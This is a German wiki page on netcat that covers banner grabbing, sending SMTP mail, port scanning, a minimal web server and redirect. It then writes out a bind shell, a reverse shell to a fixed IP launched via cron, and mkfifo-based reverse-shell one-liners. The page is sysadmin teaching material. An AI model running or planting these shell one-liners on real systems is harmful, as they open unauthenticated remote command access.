Benutzer-Werkzeuge

Webseiten-Werkzeuge


netcat

netcat

NetzKatze oder das Schweizer-Taschenmesser des Netzwerkadministrators…

NetCat (nc) ist ein kleines universelles Werkzeug im Netzwerkbereich. Analog zu cat erlaubt NetCat das lesen -aber auch- von und in Netzwerkverbindungen.
Es gibt verschiedene Implementierungen von NetCat (gnu-netcat, netcat6, openbsd-netcat,nc für Windows,…). Diese unterscheiden sich teilweise in den verfügbaren Optionen und Fähigkeiten

Servertest

Besonders zum Testen (oder zum Bannergrabbing) eignet sich NetCat hervorragend:
echo -e 'GET / HTTP/1.1\r\nHost: wiki.butzel.net\r\n\r' | nc git.butzel.net 80

Dies gilt natürlich nicht nur für HTTP, sondern auch für andere Protokolle

  • FTP: nc arnold.c64.org 21
  • Telnet: nc -t 1984.ws 23
  • Versenden einer Email via SMTP
echo -en "EHLO domain.tld\r\nMAIL FROM: ich@domain.tld\r\nRCPT TO:du@other.domain\r\nDATA\r\nSubject: Betreff\r\n\r\nMailtext. Blah laber fasel...\r\n\r\n.\r\nquit\r\n" | nc smtp.server.local 25

Telnet

nc -t <ip> 23 oder
nc -C <ip> 23
Parameter:

  • -t oder -C schaltet NetCat in den Telnet-Modus (je nach Implementierung)
  • <ip> = IP-Adresse oder DNS-Name des Zielsystemes
  • 23 Telnet-Port

Beispiele:

Port-Scan

Auch als Port-Scanner lässt sich NetCat verwenden: nc -vvznw 1 <ip> <port>
Parameter:

  • -vv = verbose / very verbose ;)
  • -z = zero data = Keine Daten senden
  • -n = keine Namensauflösung (kein DNS)
  • -w # = Timeout in Sekunden zum Lesen
  • <IP> = IP-Adresse oder DNS-Name des Zielsystemes
  • <Port> = Port oder (je nach Implementierung) Port-Range, z.B.
    • 1-1024 alle Ports von 1 bis 1024
    • 22,23,25,53,80,119 die angegebenen Ports
    • 20-25,53,80-123 Kombination der Möglichkeiten

Beispiel-Script für mehrere IP-Adressen

## gegeben sei eine Text-Datei 'ips.txt' mit  einer IP-Adresse je Zeile
while read IP
do
 nc -nvvzw 1 $IP 20-25,80,443,8080,8443 
done<ips.txt

Listener (Server)

nc -lp <port> oder
nc -l <ip> <port>
Parameter:

  • -l startet den Listener, wartet auf eine eingehende Verbindung
  • -p <port> gibt den Port an
  • <ip> nur auf IP-Adresse lauschen (z.B. 127.0.0.1)
    • dann werden Anfragen von anderen Computern nicht entgegengenommen

Web-Server

Dank des Listeners kann NetCat auch einen simplen WebServer repäsentieren:

Ausgabe einer statischen Webseite:

## Vorbereitungen zur Erstellung einer einfachen Seite mit Header
# Webseite:
echo "<html><head><title>Beispiel</title></head><body>Beispiel-Seite mit NetCat</body></html>" >> index.html
# HTTP-Header:
echo -en "HTTP/1.1 200 OK\r\nContent-Length: $(cat index.html|wc -c)\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\n\r\n" > index.http
# Zusammenführen 
cat index.html >> index.http && rm index.html 
 
## Webserver mit Netcat
while true; do nc -lp 80 < index.http ; done

Beispiel einer 'unsauberen' Umleitung nach www.butzel.info

REDIR="http://www.butzel.info"
REDIR="<html><head><meta http-equiv=\"refresh\" content=\"0; URL=$REDIR\"><title>Weiterleitung zu: $REDIR</title></head><body><h2>Weiterleitung zu:</h2><h1><a href=$REDIR>$REDIR</a></h1></body></html>"
REDIR="HTTP/1.1 200 OK\r\nContent-Length: $(echo $REDIR|wc -c)\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\n\r\n$REDIR"
while true; do echo -en $REDIR|nc -lp 80 -w 5 &>/dev/null ; done                                                               

Remote Shell

NetCat kann auch als Remote-Shell verwendet werden:
nc -lp 4711 -e /bin/bash

  • -l Listener, welcher auf eine eingehende Verbindung wartet
  • -p 4711 auf Port 4711
  • -c oder -e führt einen Befehl (z.B. /bin/bash) bei Verbindung aus
    • dabei werden stdout & stderror an die Gegenstelle geleitet
    • und alle Daten aus der Netzwerkverbindung an stdin des Befehles geleitet

Beispiel:

  1. im ersten Terminal: nc -lp 4711 -e /bin/bash
  2. in einem weiteren Terminal: nc 127.0.0.1 4711
  3. verwenden von Befehlen wie:
    • ls
    • whoami
    • cat /etc/passwd oder exit

Dies funktioniert natürlich auch auf unterschiedlichen Computern. Die Befehle werden immer mit dem Nutzerrechten ausgeführt, der den Parameter -e (bzw. -c) verwendete (vergl. whoami). Eine Authentifizierung wird hier nicht benötigt und findet nicht statt!

Reverse Shell

Natürlich lässt sich dies auch umkehren - als sogenannte Reverse Shell. Wenn z.B. das fernzusteuernde System in einem "NAT-Netzwerk„ liegt:

  1. auf dem lokalen System (IP: 31.80.26.3) den Listener starten nc -lp 3011
  2. auf dem remote System die Verbindung initieren (z.B. via Cron-Job) nc 31.80.26.3 3011 -e /bin/bash


Einschränkungen

weder -e noch -c

Es gibt jedoch auch einige Implementierungen welche - aus Sicherheitsgründen - diese Parameter -e oder -c nicht zur Verfügung stellen.
Aber auch hier gibt es Möglichkeiten (aus der Manpage man nc )

  • mkfifo /tmp/fifo; nc -l 4711 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo
  • für eine ReverseShell
    • mkfifo /tmp/fifo; nc raspi.butzel.net 4711 0</tmp/fifo | /bin/sh >/tmp/fifo 2>&1; rm /tmp/fifo


netcat.txt · Zuletzt geändert: 2017/11/18 14:30 von butzel